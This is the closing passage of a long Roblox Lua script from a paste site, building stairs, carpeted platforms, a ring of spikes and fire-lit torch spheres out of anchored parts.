  4869. Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  4870. Instance.new("BlockMesh",Step)
  4871.  
  4872. local Carpet = Instance.new("Part",Main)
  4873. Carpet.FormFactor = "Custom"
  4874. Carpet.Name = "Carpet"
  4875. Carpet.Anchored = true
  4876. Carpet.Locked = true
  4877. Carpet.Reflectance = 0
  4878. Carpet.TopSurface = "Smooth"
  4879. Carpet.BottomSurface = "Smooth"
  4880. Carpet.BrickColor = BrickColor.new(MainColor)
  4881. Carpet.Size = Vector3.new(4,1,3.2)
  4882. Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  4883. Instance.new("BlockMesh",Carpet)
  4884. end
  4885. local MainCirc = Instance.new("Part",Main)
  4886. MainCirc.FormFactor = "Custom"
  4887. MainCirc.Name = "MainCirc"
  4888. MainCirc.Anchored = true
  4889. MainCirc.Locked = true
  4890. MainCirc.Reflectance = 0
  4891. MainCirc.TopSurface = "Smooth"
  4892. MainCirc.BottomSurface = "Smooth"
  4893. MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  4894. MainCirc.Size = Vector3.new(20,1,20)
  4895. MainCirc.CFrame = SeccondaryCFrame
  4896. Instance.new("CylinderMesh",MainCirc)
  4897.  
  4898. local SeccondaryCirc = Instance.new("Part",Main)
  4899. SeccondaryCirc.FormFactor = "Custom"
  4900. SeccondaryCirc.Name = "SeccondaryCirc"
  4901. SeccondaryCirc.Anchored = true
  4902. SeccondaryCirc.Locked = true
  4903. SeccondaryCirc.Reflectance = 0
  4904. SeccondaryCirc.TopSurface = "Smooth"
  4905. SeccondaryCirc.BottomSurface = "Smooth"
  4906. SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  4907. SeccondaryCirc.Size = Vector3.new(18,1,18)
  4908. SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  4909. Instance.new("CylinderMesh",SeccondaryCirc)
  4910. for i=1,math.floor(360/6) do
  4911. local Spike = Instance.new("Part",Main)
  4912. Spike.FormFactor = "Custom"
  4913. Spike.Name = "Spike"
  4914. Spike.Anchored = true
  4915. Spike.Locked = true
  4916. Spike.Reflectance = 0
  4917. Spike.TopSurface = "Smooth"
  4918. Spike.BottomSurface = "Smooth"
  4919. Spike.BrickColor = BrickColor.new(MainColor)
  4920. Spike.Size = Vector3.new(1,7,1)
  4921. Spike.CFrame = SeccondaryCFrame
  4922. * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  4923. * CFrame.new(7,-7,0)
  4924. Torch = Instance.new("Part",Main)
  4925. Torch.Reflectance = 1e+999
  4926. Torch.FormFactor = "Custom"
  4927. Torch.Shape = "Ball"
  4928. Torch.Anchored = true
  4929. Torch.Locked = true
  4930. Torch.Size = Vector3.new(2,2,2)
  4931. Torch.CFrame = Spike.CFrame
  4932. * CFrame.new(0,3.5,0)
  4933. * CFrame.Angles(0,0,0)
  4934. Instance.new("Fire",Torch)
  4935. end
  4936. end))
  4937. end
  4938. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement